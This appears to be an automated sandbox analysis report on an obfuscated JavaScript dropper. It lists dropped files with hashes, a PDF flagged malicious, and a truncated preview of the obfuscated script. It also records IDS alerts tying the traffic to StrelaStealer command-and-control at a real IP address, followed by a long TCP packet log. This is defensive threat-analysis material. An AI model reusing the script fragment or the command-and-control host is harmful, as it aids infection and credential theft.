Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/yOWL07oXGZBZwYIGNP0dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:HWLxXGZBZwZG63mlind9i4ufFXpAXkru
MD5:	F6CACB4A8F3328CA8C06812420C0337E
SHA1:	184589C5954FE73E4DF5569A0D0E2F85189917DF
SHA-256:	91E9A938AF33129F4DD910E38980BEAC9C64982E76458D75B92CB03B0FBCDFD6
SHA-512:	78D790967B665A9EC54C92ECB89336A67D8ED7B385B25AC465A28F31BF88D7DFC1A2FAE4791BEE33E48CE5EF783C1C9169D1C905E9CFCA090FF54C71335FA0A0
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aebb121d-2191-4142-a961-5b4685459405.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16211), with CRLF line terminators
Entropy (8bit):	4.909726461631748
TrID:
File name:	739144331377016921.js
File size:	19'756 bytes
MD5:	c7d14b91621d91857c02bec71dc8c176
SHA1:	14ec8890284c3476b5a1ffd2ae922cb04be8cbd4
SHA256:	06b83368e3d358091bf81c6f61eece4ccbf8b8da5b256621a9736ff869310040
SHA512:	78d932beb2551688d10af805a8ddd44f98dcd513b836359d75443059a6de6f95a52e404b58f44758ea917b2bc58d22678cef5910718fa3984cc3ec269fb67500
SSDEEP:	384:DADUAcejJ1rAs5QAUWWaUW08Srmj8EFfiyAbyQG:MsrvaerU8EP
TLSH:	6F9242ECEACC4B7E82D453F8358729E35469D2488FDD0481B44129AB8355F72B5F2BB8
File Content Preview:	function xyjip(){rimsso=[1031,3079,5127,4103,2055,3072];var jnuje=this[oymghike+fzrmyzn+mhfhmzbrh+juawdnhz+dtdcgu+brmhcnya+vtxqz+uymxo](this[dfvkvn+gogpugv+paufsnh+mhfhmzbrh+bpgpyxy+oymghike+uymxo][vyzrmqr+mhfhmzbrh+dtdcgu+fzrmyzn+uymxo+dtdcgu+gxqvzok+msd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:34:51.652859+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T01:34:51.652859+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T01:34:53.966844+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:34:50.859173059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:50.864173889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:50.864383936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:50.867064953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:50.871910095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652692080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652719975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652755022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652795076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652813911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652838945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.652858973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.652921915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.653031111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.653049946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.653074980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.653101921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.653115034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.653148890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.657713890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.657747030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.657829046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.695677996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.695700884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.695844889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.773350000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773394108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773425102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773447037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773463964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773611069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.773611069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.773740053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773772001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773792982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.773875952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773895025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773920059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.773930073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773943901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.773967981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.774557114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.774571896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.774600029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.774610043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.774629116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.774646044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.774652958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.774688959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.775489092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.775504112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.775527954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.775546074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.775562048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.775578976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.775629044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.776258945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.776304960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.828108072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.828166008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.828183889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.828310966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.828763008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.828813076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.863890886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.863945961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.864089012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.894331932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894349098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894393921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894416094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894437075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894490004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.894555092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.894929886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894946098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894968033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.894977093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.894989967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895006895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.895287037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895306110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895329952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.895355940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895373106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895390034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.895401001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895421982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895437956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.895457983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895474911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.895490885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896198988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896228075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896238089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896255970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896272898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896290064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896306038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896339893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896455050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896487951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896505117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896526098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896558046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896576881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896593094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896604061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896622896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896637917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.896651030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.896684885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.897659063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897675037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897711039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.897803068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897823095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897849083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897857904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.897876024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897893906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.897908926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.898498058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898516893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898534060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.898545027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898562908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898581028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.898595095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898613930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.898629904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.918745041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.918768883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.918802023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.918896914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.918927908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.954868078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.954907894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.954921961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.954948902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.954967022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.954981089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.954992056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.955013990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.955049038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:51.995850086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.995881081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:51.995929003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.014779091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014794111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014820099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014841080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014868975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.014914989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014925003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.014949083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.014981031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.014987946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015007019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015028954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015038013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015054941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015077114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015089035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015300035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015333891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015343904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015362978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015379906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015403032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015592098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015625000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015645027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015656948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015676975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015688896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015702009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015731096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015906096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015933990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015953064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.015969992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.015980005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016001940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016017914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.016316891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016330957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016355038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.016364098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016382933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016391993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.016411066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016431093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016444921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.016457081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.016486883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017333984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017354012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017376900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017390013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017405033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017445087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017468929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017489910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017512083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017519951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017537117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017566919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017738104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017759085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017788887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.017795086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017812967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017834902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.017853975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.018012047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018029928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018055916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.018068075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018088102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018100977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.018115044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018148899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.018341064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018409014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.018444061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.019681931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.019916058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.019928932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.019953966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.019968033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:34:52.019984961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:34:52.019994020 CET	49704	80	192.168.2.5	193.143.1.205
